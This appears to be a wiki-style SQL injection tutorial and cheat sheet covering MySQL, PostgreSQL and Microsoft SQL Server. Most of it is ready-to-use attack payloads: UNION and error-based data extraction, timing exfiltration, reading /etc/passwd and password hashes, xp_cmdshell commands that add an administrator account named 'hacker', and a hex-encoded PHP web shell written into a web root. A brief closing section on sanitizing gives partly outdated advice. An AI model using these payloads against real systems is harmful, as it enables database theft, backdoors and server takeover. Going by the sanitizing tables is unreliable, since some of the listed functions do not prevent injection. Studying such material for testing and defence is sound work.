SQL injection is a method of exploiting web applications performed over http or https to compromise the underlying database engine supporting dynamic content for the web application itself. Successful exploitation of an SQL injection vulnerability can result in the attacker gaining unfettered access to the database and can lead to further privilege escalation.

Typically, databases include things like (but not limited to):

Authentication credentials
Other identifying information about a user (like an IP address)
Site configurations
Site content and themes
Communications between users within the site

SQL injection requires a basic understanding of SQL and manipulation of SQL data

Intermediate SQL injection

There are various methods for exploiting various databasing engines, including MySQL, PostgreSQL and Microsoft SQL server. Different engines may require different function names, environment variables, or syntax nuances for proper effectiveness.

Example testing is not included for UPDATE or INSERT queries using subqueries. In those cases, it is best to escape the argument, use a comma delimiter, and testing using integers until the right number of columns is found. Then substitute column values for insert and delete using subqueries that return a single cell rather than a single byte, similar to single-byte exfiltration

Automation theory

The most important thing when automating SQL injection is recognizing boundaries.

Loop Delimeters:

Length of single cell strings (length sql functions)

SELECT LENGTH(USER()) SELECT CHAR_LENGTH(USER()) SELECT len(USER())

Number of rows returned by a query (count sql functions)

SELECT COUNT(column_name) FROM information_schema.columns WHERE TABLE_NAME=[TABLE_NAME] AND table_schema=[DATABASE]

Obtaining data types:

Data types of single cells (type from information_schema.columns)

SELECT column_type FROM information_schema.columns WHERE TABLE_NAME=[TABLE_NAME] AND column_name=[column_name] AND table_schema=[DATABASE]

Protip: It is a good idea to use order by every time injection occurs in case results are not constant due to where clause restraints.

Sometimes integer values won't be able to be selected when using error-based injection. There's more than one way to solve this.

Predefined scope Use ORDER by to find the upper most row and lower most row of the results set. It can be stopped by starting at an element on one end and then keeping the order by clause intact, incrementing the offset; it will stop when it has reached the value on the other end of the table. $stop_value = "select id from table order by id desc limit 1 offset 0"; $start_query = "select id from table order by id asc limit 1 offset 0"; In the loop: $loop_query = "select id from table order by id asc limit 1 offset $counter"; When the value returned by $loop_query equals the value from $stop_query, terminate the loop. Cast and concatenate attempt to string concatenate a character to the integer to throw an error.

Here are a few variables to be aware of while writing automated exploit software.

Counters: Row Counter Byte Index Counter Temporary Variables: Length of current target cell Number of rows in current target table SQL Dialect Variables: Sanitized Syntax Characters Whitespace character(s) String concatenation operator Comment syntax

Basic Injection : Union Select

The UNION operator allows collection of the output of two SELECT statments with UNION ALL SELECT or UNION SELECT so long as the results have the

same number of columns:

SELECT COLUMN FROM TABLE UNION ALL SELECT COLUMN

Determining the number of columns

The number of columns can be determined using ORDER BY injection and incrementing a field index, for example:

 /article.php?id=1 ORDER BY 1 asc
 /article.php?id=1 ORDER BY 2 asc

Notice:

When the page no longer displays, a boundary has been hit. The largest number in the order by clause that still allows the page to display properly is the number of columns.

Extracting data

If the number of columns is known in a table (for example, by using the ORDER BY injection technique), the following injection can be used assuming that there are 2 columns:

 /article.php?id=5 UNION ALL SELECT 1,2/*

Protip: Sometimes UNION ALL SELECT will not work, but UNION SELECT will, and vice versa. This has to do with the SQL engine and vulnerable web application's programming or SQL queries. Additionally, an invalid ID may be set(e.g. -1) to get the data the UNION SELECT returns to display on the page.

This generates the following query:

SELECT * FROM ARTICLES WHERE id=5 UNION ALL SELECT 1,2/*

Notice: This selects every entry where both id=5 and where column = 1 or 2. If the number 1 or 2 was outputted, UNION would be demonstrated to work. If 2 was output, it is known that the application's programming displays the second column on the page. (This could be any column, really.)

An example of SQL injection using union select to obtain the SQL version:

 /article.php?id=-1 UNION ALL SELECT 1,version()/*

The version information should now be displayed in the area where the number `2' originally displayed.

Once we know this, obtaining data is as simple as setting up the query as a simple select:

 /article.php?id=-1 UNION ALL SELECT 1,table_name from information_schema.tables where table_schema=database() limit 1/*

In this case, the first table name in the current database should be displayed in stead of the version information.

This particular injection appears at first glance to be limited to a single entry (unless more columns are available for display), but in truth one can use the string concatenation functions or operators (+, ||, concat(), group_concat(), etc) to display the contents of several columns and/or rows as a single string:

 /article.php?id=-1 UNION ALL SELECT 1,group_concat(table_name,0x2e,column_name) from information_schema.columns where table_schema=database()/*

Which would format a map of a MySQL database in the format:

table1.column1, table1.column2, table2.column1

The amount of data that can be returned returned by the group_concat() function is set by a session environment variable.

Intermediate testing: "SELECT" ... LIMIT clause injections

Protip: Microsoft SQL Server does not feature this classification of vulnerability due to its lack of a LIMIT clause, however similar techniques to the LIMIT clause attack will work on it as well as other database engines:

GROUP BY clause injection ORDER BY clause injection

To test for injection in a LIMIT clause, it is first necessary to determine which input of the LIMIT clause that is being injected into. The following example URI will be used:

 /view_results.php?start=30&perpage=10

A LIMIT clause may have two different inputs, one being the number of rows to return, the other being what row to start from when selecting the rows. On recent versions of MySQL the limit clause syntax is congruent to PostgreSQL syntax:

LIMIT $perpage OFFSET $start

On older versions of MySQL, the offset operator was not supported. In those cases the older syntax will be used:

LIMIT $start,$perpage

Because the input is located at either $start or $perpage in a LIMIT clause, it can be deduced that:

 UNION SELECT is the only available method for successful exploitation.
 The rest of the query will have to be commented out for successful exploitation.

In order to access UNION SELECT if there are data limitations:

 The LIMIT clause must be given an impossible starting offset so that no data will be displayed,
 making room for data returned by the UNION SELECT.  The offset will have to be a larger number
 than the number of rows returned by the query.

Intermediate injection: information retrieval via verbose errors

This technique relies on the following database and application characteristics:

Sometimes databases display errors containing selected data even though union select is not an option.
Sometimes the application will display SQL errors on the page.

Protip: There are two ways to cause errors that contain data:

An impossible cast
A duplicate key in a group by statement

When a web application displays its SQL errors, there's a few things that can be done to make errors display data along with them. In each of the examples below, the @@database variable or current_database()/database() functions return what can be seen for error output. These can be replaced with any subquery'd select statement that returns a single cell.

MSSQL:
```
 
```

AND 1=CAST(@@DATABASE AS INT)--

 
 AND 1=CONVERT(INT,@@DATABASE)--

MySQL:
```
 
```

 AND 1=2 OR ROW(1,1) > (SELECT COUNT(*),concat(DATABASE(),0x3a,FLOOR(rand()*2) ) x FROM (SELECT 1 UNION SELECT 2) a GROUP BY x LIMIT 0,1)

PostgreSQL:
```
 
```

 AND 3=5 OR (SELECT CAST(current_database() AS NUMERIC)) = (SELECT CURRENT_USER())

Expert: Automated Single-byte exfiltration

There are multiple types of single byte exfiltration attacks:

Timing based
Pre-computation based

The only three things that all of these methods have in common is:

These attacks are all limited in some fashion because of local environment and latency or remote environment and dataset.
The target environment must not filter or otherwise restrict the use of commas (,); regular expressions will not work here because injected queries are selecting rather than comparing the value of a single byte.
You must not be afraid of programming.

Timing-based single-byte exfiltration

If not on a LAN when this technique is utilized, buggy and unpredictable results will be attained.

This testing is ideal when:

It is taking place on a relatively low latency network
There is access to a consistent latency and the remote page has a consistent load time (may not vary by more than 0.5 seconds)

Single byte exfiltration takes less queries to perform the same results, and leaves a smaller log footprint.

A timer will need to be used to see how long it takes the remote server to serve the page.

Examples of timing-based single-byte exfiltration:

Exfiltrating the first character of the database name in a single request:

AND sleep(ascii(SUBSTRING(@@DATABASE,1,1))) -- MySQL AND pg_sleep(ascii(SUBSTRING(current_database,1,1))) IS NULL -- PostgreSQL

By timing these (in seconds) the integer value of the ascii code of the first character of the database will be attained.

The comparative precomputation attack

This attack relies heavily on the remote dataset for successful exploitation and is thus less reliable than other methods. This significantly differs from previously discovered single-byte exfiltration techniques because:

It is based on precomputation It is not a timing attack

Requirements: The query which is being injecting into must have at least 254 rows The precomputation attack is compatible with all database backends.

Precomputation is done for performance reasons. At the very least, a comparative test will be required. The more complex a remote site is (random content generation, etc), the more difficult this type of attack becomes to automate.

Examining the following query:

$query = "select * from articles where id=$input";

And the following uri:

 /articles.php?id=1

Testing can be used to see if there are 255 articles by visiting:

 /articles.php?id=255 Follow the next steps for automation (and sanity's) sake:

Choose a language supporting something similar to array_flip() for programming the automation tool. Write a loop to download each article In the loop, populate an array (using integer indexes) with checksum hashes as values Flip the array

Almost done!

Then the following visit can take place:

 /articles.php?id=ascii(substr(user(),1,1))

Checksum the output
Now accessing the checksums array using the checksum of the output as the key:

$ascii_code = $checksums[$output_checksum];

And the value of a byte has been determined.

Protip: This attack can be extended by:

Using arithmetic operators to get sequential id's offset from 0-255 (e.g. /articles.php?id=(select ascii(substr(user(),1,1))+67) Using MySQL field operators and a static query that returns id's to bypass the requirement for the id's to be sequential

Further penetration

Most demonstrated methods require additional privileges

Obtaining direct database access

Requires a privileged user or valid privilege escalation

There are several methods for obtaining direct database access so that log in can occur remotely.

See the Privileged query cheat sheets for queries to directly obtain database credentials using SQL injection
Obtaining authentication credentials from the web application configuration file by accessing the filesystem

SELECT load_file('/path/to/config.php');

After escalating privileges to administrator of the web application using its administrative interface to run queries directly find the authentication credentials in the configuration file with a file editor

Obtaining authentication credentials from the web application's configuration file using code-execution after privilege escalation

Terminal

localhost:~ $ find -name \*conf\*.php -exec grep -iHn "user\|name\|pass\|host" '{}' \;

Obtaining filesystem access

This will require MySQL, depend on the SQL server configuration as well as the OS configuration, the user in context must have the FILE privilege.

load_file() Mysql's load_file() function takes a single string literal (it can be bypassed with 0x[hex]) as a filename and returns either the file contents as a single-cell string or null if the query failed for any reason. select ... into outfile into outfile is limited in that it cannot receive a string literal, but must be a constant.

Examples of these are located in the priveleged MySQL cheat sheet.

Obtaining code execution

Through the vulnerable web application:

It is possible that the administrative interface will contain template and theme editors and the ability to add/modify/delete PHP or other interpreted languages in the associated files. Knowing this is just one more reason to make a beeline for the user table for the affected web application and get to cracking the authentication credentials for the admin user.

Via database engine (MS SQL-specific)

By ending the query with a semicolon or comment delimiter and beginning a new query, we can get MS SQL to run

;exec master..xp_cmdshell 'net user hacker hacker_password /add'
;exec master..xp_cmdshell 'net localgroup administrators hacker /add'
/url.asp?ArticleID=1;exec master..xp_cmdshell 'net user hacker hackerpassword /add';--
/url.asp?ArticleID=1;exec master..xp_cmdshell 'net localgroup administrators hacker /add';--

Writing a shell to the document root (MySQL-specific)

Cheat Sheets

Vulnerability testing

Protip: Using the compacted best true and false statements for compatibility and evasion here. If problems occur, recommended reading is remote testing or defeating sql injection filters.

Universal true and false statements

Notice: The accuracy of this stuff has been ensured. If missing any universal testing operators, please let us know.

Standard operators (Universal):

True: AND 230984752 = 230984752 False: AND 1023947182234 = 4382616621386497

The Between ... And ... operators (Universal):

True: AND 238829 BETWEEN 238826 AND 238927 False: AND 328961 BETWEEN 928172 AND 986731

The LIKE operator (Universal):

True: AND 'sqltest' LIKE 'sql%' False: AND 'sqltest' LIKE 'not true'

The REGEXP operator (RLIKE in Microsoft SQL and the "~" character in PostgreSQL, Universal):

True: AND 'sqltest' REGEXP '^sql' False: AND 'sqltest' REGEXP '^false'

MySQL syntax reference

Comment notation:

 /*   [*/]
 %23 (# urlencoded) 
 --[space]

Handy functions, statements, and Environment Variables:

  version()
  USER()
  current_database()
  COUNT([column_name]) FROM [TABLE_NAME]
  LENGTH([column_name]) FROM [TABLE_NAME] [WHERE OR LIMIT]
  substr([query],[byte_counter],1) 
  concat([column_name],0x2f,[column_name]) FROM [TABLE_NAME] [WHERE OR LIMIT]
  group_concat([column_name],0x2f,[column_name]) FROM [TABLE_NAME] [WHERE OR LIMIT]

The need for quotes can be evaded by using the 0x[hex] operator. An example is "select 0x6a6a". The output is "jj", same as if "select 'jj'" is run.

Mysql versions >= 5 user schema mapping (unprivileged)

Show Databases Equivilent:

SELECT schema_name FROM information_schema.schemata LIMIT 1 offset 0

Show Tables Equivilent

SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 offset 0

Show Fields Equivilent

SELECT column_name FROM information_schema.columns WHERE table_schema=DATABASE() AND TABLE_NAME=([TABLE query]) LIMIT 1 offset 0

Privileged MySQL (any version) user

Get mysql usernames and password hashes:

SELECT concat(USER,0x2f,password) FROM mysql.user LIMIT 1

Grab /etc/passwd

SELECT load_file(0x2f6574632f706173737764)

Dump a small php shell (<?php system($_GET['id']); ?>) into /var/www/localhost/htdocs

SELECT 0x3c3f7068702073797374656d28245f4745545b276964275d293b203f3e INTO OUTFILE '/var/www/localhost/htdocs/.shell.php'

PostgreSQL syntax reference

Handy functions & Environment Variables include:

current_database() CURRENT_USER() chr() ascii() substr()

Quick and common string concatenations:

String concatenation in postgresql is done using the two pipe operators side by side, e.g. "select chr(97)||chr(97)" is the same as "select 'aa'".

Congruent to select 'BASE TABLE';:

  (SELECT CHR(66)||CHR(65)||CHR(83)||CHR(69)||CHR(32)||CHR(84)||CHR(65)||CHR(66)||CHR(76)||CHR(69))

Congruent to select 'pg_catalog';:

  (SELECT CHR(112)||CHR(103)||CHR(95)||CHR(99)||CHR(97)||CHR(116)||CHR(97)||CHR(108)||CHR(111)||CHR(103))

Congruent to select 'information_schema';:

  (SELECT CHR(105)||CHR(110)||CHR(102)||CHR(111)||CHR(114)||CHR(109)||CHR(97)||CHR(116)||CHR(105)||CHR(111)||CHR(110)||CHR(95)||CHR(115)||CHR(99)||CHR(104)||CHR(101)||CHR(109)||CHR(97))

PostgreSQL schema mapping

\dn equivilent:

  SELECT schema_name FROM information_schema.schemata WHERE catalog_name=current_database() LIMIT 1 offset 0

\dt equivilent:

  SELECT TABLE_NAME FROM information_schema.tables table_type='BASE TABLE' AND table_schema=([schema_query]) AND catalog_name=current_database() LIMIT 1 offset 0

\d [table_name] equivilent:

  SELECT column_name FROM information_schema.columns WHERE TABLE_NAME=([table_query]) AND table_schema=(schema_query) AND catalog_name=current_database() LIMIT 1 offset 0

Microsoft SQL syntax reference

Handy functions, statements, and Environment Variables:

 database()
 ascii()
 substring()
 WAIT ... FOR DELAY
 @@version

String concatenation is preformed in Microsoft SQL via the + character.

Microsoft SQL schema mapping (unprivileged)

Obtaining the first table:

  SELECT top 1 TABLE_NAME FROM (SELECT top 1 TABLE_NAME FROM information_schema.columns WHERE table_catalog=@@DATABASE GROUP BY TABLE_NAME ORDER BY TABLE_NAME DESC) sq 
    GROUP BY TABLE_NAME ORDER BY TABLE_NAME ASC

Obtaining the first column:

  SELECT top 1 column_name FROM (SELECT top 1 column_name FROM information_schema.columns WHERE table_catalog=@@DATABASE AND TABLE_NAME='[table_name]' 
    GROUP BY column_name ORDER BY column_name ASC) sq GROUP BY column_name ORDER BY column_name DESC

Privileged microsoft SQL injection

Command Execution:

;%0a%0dexec master..xp_cmdshell 'net user hacker hackerpassword /add';--
;%0a%0dexec master..xp_cmdshell 'net localgroup administrators hacker /add';--

Obtaining database authentication credentials:

SELECT * FROM sysobjects WHERE type='U'

Patching SQL Injection Vulnerabilities

The security analyst says
"Either sanitize the inputs properly, or use prepared statements. Obviously, today's countermeasures for sql injection are easily bypassed."

Ruby input sanitizing:

  [Sanitizes For]  | [Type]  |  [Engine]  | [Example]
XSS, SQL Injection | String  | Any        | var = HTMLEntities.encode(var,:basic:)
SQL Injection      | String  | MySQL      | var = Mysql.escape_string(var)
SQL Injection      | String  | PostgreSQL | var = PGconn.escape_string(var)
XSS, SQL Injection | Integer | Any        | var = var.to_i

PHP input sanitizing:

  [Sanitizes For]  | [Type]  |  [Engine]  | [Example]
XSS, SQL Injection | String  | Any        | $var = htmlentities($_GET['var'],ENT_QUOTES);
SQL Injection      | String  | MySQL      | $var = mysql_real_escape_string($_GET['var']);
SQL Injection      | String  | PostgreSQL | $var = pg_escape_string($_GET['var']);
XSS, SQL Injection | Integer | Any        | $var = (int)$_GET['var'];

Python input sanitizing:

Python2.4 and newer defaults to using prepared statements. Thus, this table only refers to legacy applications built in python versions < 2.4 that require manual sanitizing.

[Sanitizes For] | [Type] | [Engine] | [Example]

XSS, SQL Injection | String  | Any        | var = urllib.urlencode(var)
SQL Injection      | String  | MySQL      | var = conn.escape_string(var)
SQL Injection      | String  | PostgreSQL | var = psycopg2.extensions.adapt(var)
XSS, SQL Injection | Integer | Any        | var = int(var)

Protip: Most researchers to date considers the use of prepared statements to be perfectly safe due to the basic differences in query implementations.

Prepared statements typically use a PDO library and use the binary protocol rather than the socket protocol for interacting with the server. A statement must be prepared knowing the number and locations of inputs, then executed using inputs as parameters.

Category:SQL injection

Contents